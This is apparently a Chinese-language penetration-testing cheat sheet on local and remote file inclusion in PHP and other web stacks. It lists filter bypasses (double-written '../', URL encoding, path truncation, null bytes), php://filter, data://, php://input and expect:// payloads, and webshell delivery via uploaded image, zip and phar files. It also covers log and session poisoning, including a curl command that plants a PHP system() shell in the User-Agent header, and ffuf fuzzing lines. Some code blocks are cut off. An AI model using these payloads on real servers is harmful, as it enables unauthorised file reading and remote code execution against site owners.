File Inclusion
File Inclusion
下表显示了哪些函数可以执行文件以及哪些函数只能读取文件内容:
| 功能 | 阅读内容 | 执行 | 远程 URL |
|---|---|---|---|
| PHP | |||
include()/include_once() |
✅ | ✅ | ✅ |
require()/require_once() |
✅ | ✅ | ❌ |
file_get_contents() |
✅ | ❌ | ✅ |
fopen()/file() |
✅ | ❌ | ❌ |
| NodeJS | |||
fs.readFile() |
✅ | ❌ | ❌ |
fs.sendFile() |
✅ | ❌ | ❌ |
res.render() |
✅ | ✅ | ❌ |
| Java | |||
include |
✅ | ❌ | ❌ |
import |
✅ | ✅ | ✅ |
| .NET | |||
@Html.Partial() |
✅ | ❌ | ❌ |
@Html.RemotePartial() |
✅ | ❌ | ✅ |
Response.WriteFile() |
✅ | ❌ | ❌ |
include |
✅ | ✅ | ✅ |
常见可读文件C:\Windows\boot.ini 和 /etc/passwd,结合FUZZ技术测试。
Baisc bypass
双写
针对 LFI 的最基本过滤器之一是搜索和替换过滤器,它只是删除 ( ../) 的子字符串以避免路径遍历(非递归)。
1 | $point = str_replace('../', '', $_GET['point']); |
1 | ....// |
编码
某些 Web 过滤器可能会阻止包含某些 LFI 相关字符(如用于路径遍历的点.或斜线)的输入过滤/器。但是,其中一些过滤器可能会通过对输入进行 URL 编码来绕过,这样它就不再包含这些坏字符,但一旦到达易受攻击的函数,仍会被解码回路径遍历字符串。版本 5.3.4 及更早版本上的核心 PHP 过滤器特别容易受到这种绕过的影响,但即使在较新的版本中,也可能发现可以通过 URL 编码绕过的自定义过滤器。
1 | ../ |
批准路径
1 | if(preg_match('/^\.\/languages\/.+$/', $_GET['point'])) { |
1 | ./languages/../../../../etc/passwd |
附加扩展
某些 Web 应用程序会将扩展名附加到输入字符串(例如.php),以确保包含的文件具有预期的扩展名。使用现代版本的 PHP,可能无法绕过这一点,并且只能读取该扩展名的文件。
与 PHP 的现代版本已过时,仅适用于 5.3/5.4 之前的 PHP 版本。
路径截断
在早期版本的 PHP 中,定义的字符串的最大长度为 4096 个字符,这可能是由于 32 位系统的限制。如果传递了更长的字符串,它将被截断,并且最大长度之后的任何字符都将被忽略。此外,PHP 还习惯于删除路径名中的尾部斜杠和单个点,因此如果调用 (/etc/passwd/.),那么 /. 也将被截断,并且 PHP 将调用 (/etc/passwd)。PHP 和 Linux 系统通常也会忽略路径中的多个斜杠(例如 ////etc/passwd 与 /etc/passwd 相同)。同样,路径中间的当前目录快捷方式 (.) 也将被忽略(例如 /etc/./passwd)。
如果将这两个 PHP 限制结合在一起,可以创建非常长的字符串,这些字符串可以计算为正确的路径。每当达到 4096 个字符的限制时,附加的扩展名 (.php) 就会被截断,并且将得到一个没有附加扩展名的路径。最后,还需要注意的是,还需要start the path with a non-existing directory此技术发挥才能发挥作用。
1 | $ echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done |
还可以增加../的数量,因为添加更多数量仍会让进入根目录。如果使用此方法,应该计算字符串的整个长度,以确保只有.php或其他扩展被截断,而不是字符串末尾的请求文件(/etc/passwd)。
空字节
PHP 5.5 之前的版本容易受到null byte injection的影响,这意味着在字符串末尾添加一个空字节 (%00) 将终止该字符串,并且不会考虑其后的任何内容。这是由于字符串在低级内存中的存储方式造成的,内存中的字符串必须使用空字节来指示字符串的结尾,就像在汇编语言、C 或 C++ 语言中看到的那样。
为了利用此漏洞,可以用空字节(例如/etc/passwd%00)结束有效载荷,这样传递给的最终路径include()将是(/etc/passwd%00.php)。这样,即使.php将附加到字符串,空字节后面的任何内容都会被截断,因此使用的路径实际上是/etc/passwd,从而导致绕过附加的扩展名。
PHP Filters
1 | php://filter/read=convert.base64-encode/resource=config.php |
example:
1 | ffuf -w ~/Security/dict/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -u 'http://URL/index.php?language=php://filter/read=convert.base64-encode/resource=FUZZ' -ic -fs 2000 |
PHP Wrappers
Php 配置文件 /etc/php/x.y/apache2/php.ini
data://
depend
1 | allow_url_include = on |
exploit
1 | http://<SERVER_IP>:<PORT>/index.php?point=data://text/plain;base64_string |
input://
depend
1 | allow_url_include = on |
exploit
1 | http://<SERVER_IP>:<PORT>/index.php?point=php://input&0=id |
expect://
depend
1 | extension = expect |
exploit
1 | http://<SERVER_IP>:<PORT>/index.php?point=expect://id |
RFI
| 功能 | 阅读内容 | 执行 | 远程 URL |
|---|---|---|---|
| PHP | |||
include()/include_once() |
✅ | ✅ | ✅ |
file_get_contents() |
✅ | ❌ | ✅ |
| Java | |||
import |
✅ | ✅ | ✅ |
| .NET | |||
@Html.RemotePartial() |
✅ | ❌ | ✅ |
include |
✅ | ✅ | ✅ |
depend
1 | allow_url_include = On |
exploit
1 | # webshell |
1 | # HTTP |
File Upload & LFI
| 功能 | 阅读内容 | 执行 | 远程 URL |
|---|---|---|---|
| PHP | |||
include()/include_once() |
✅ | ✅ | ✅ |
require()/require_once() |
✅ | ✅ | ❌ |
| NodeJS | |||
res.render() |
✅ | ✅ | ❌ |
| Java | |||
import |
✅ | ✅ | ✅ |
| .NET | |||
include |
✅ | ✅ | ✅ |
image
1 | # webshell |
将上传的文件包含到 LFI 漏洞中(需要找到图片路径,fuzz)
1 | http://<SERVER_IP>:<PORT>/index.php?point=./images/shell.gif&0=id |
Zip
1 | # webshell |
注意:尽管将 zip 存档命名为(shell.jpg),但某些上传表单仍可能通过内容类型测试将文件检测为 zip 存档并禁止其上传,因此,如果允许上传 zip 存档,则此攻击成功的可能性更高。
1 | http://<SERVER_IP>:<PORT>/index.php?point=zip://./images/shell.jpg%23shell.php&0=id |
Phar
webshell
1 | <?php |
phar.readonly = 0 时,允许 PHP 创建和修改 phar 文件。
1 | php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg |
将上传的文件包含到 LFI 漏洞中
1 | http://<SERVER_IP>:<PORT>/index.php?point=phar://./images/shell.jpg%2Fshell.txt&0=id |
Log Poisoning
| 功能 | 阅读内容 | 执行 | 远程 URL |
|---|---|---|---|
| PHP | |||
include()/include_once() |
✅ | ✅ | ✅ |
require()/require_once() |
✅ | ✅ | ❌ |
| NodeJS | |||
res.render() |
✅ | ✅ | ❌ |
| Java | |||
import |
✅ | ✅ | ✅ |
| .NET | |||
include |
✅ | ✅ | ✅ |
PHP Session Poisoning
PHPSESSID Cookie,它可以在后端保存与用户相关的特定数据,存储在session后端的文件中,在 Linux 上保存在/var/lib/php/sessions/ ,在Windows 上保存在C:\Windows\Temp\,文件前缀sess_。
查看当前 PHPSESSID Cookie,补全文件名
1 | /var/lib/php/sessions/sess_* |
查看页面元素显示情况并分析记录了哪些数据
1 | http://<SERVER_IP>:<PORT>/index.php?point=/var/lib/php/sessions/sess_5u2us8k88igoc7ca1veic27or7 |
针对出现的页面元素进行测试
1 | http://<SERVER_IP>:<PORT>/index.php?point=<?php%20system($_GET[0]);?> |
注意:要执行另一个命令,必须再次使用 Web Shell 毒害会话文件,文件会被覆盖。
Server Log Poisoning
Apache和都Nginx维护各种日志文件,例如access.log和error.log。access.log文件包含有关对服务器发出的所有请求的各种信息,包括每个请求的User-Agent标头。
Nginx默认情况下,日志可由低权限用户读取(例如www-data),而Apache日志仅可由具有高权限的用户读取(例如root/adm组)。但是,在较旧或配置错误的Apache服务器中,这些日志可能可由低权限用户读取。
默认日志存储位置
| Server | Linux | Windows |
|---|---|---|
| Apache | /var/log/apache2/ |
C:\xampp\apache\logs\ |
| Nginx | /var/log/nginx/ |
C:\nginx\log\ |
Apache
User-Agent 请求毒害
1 | curl -s 'http://<SERVER_IP>:<PORT>/index.php?point=/var/log/apache2/access.log&0=id' -A '<?php system($_GET[0]);?>' |
还可以观察记录了哪些日志,再利用。
/etc/apache2/envvars文件中的变量APACHE_LOG_DIR,记录了/access.log和/error.log 的位置。
提示: Linux 目录下的进程文件
/proc/上也显示了User-Agent标头。因此,可以尝试包括/proc/self/environ或/proc/self/fd/N文件(其中 N 是通常在 0-50 之间的 PID),并且可能能够对这些文件执行相同的攻击。如果没有对服务器日志的读取权限,这可能会很方便。但是,这些文件也可能只有特权用户才能读取。
other
/var/log/sshd.log/var/log/mail/var/log/vsftpd.log
首先尝试通过 LFI 读取这些日志,如果确实可以访问它们,可以尝试毒害它们。例如,如果ssh或ftp服务暴露给,并且可以通过 LFI 读取它们的日志,那么可以尝试登录它们并将用户名设置为 PHP 代码,在包含它们的日志后,PHP 代码就会执行。服务也是如此mail,因为可以发送包含 PHP 代码的电子邮件,在包含其日志后,PHP 代码就会执行。可以将这种技术推广到任何记录控制的参数的日志,并且可以通过 LFI 漏洞读取这些日志。
FUZZ
配置文件路径字典: LFI-WordList-Linux或LFI-WordList-Windows
1 | # payload |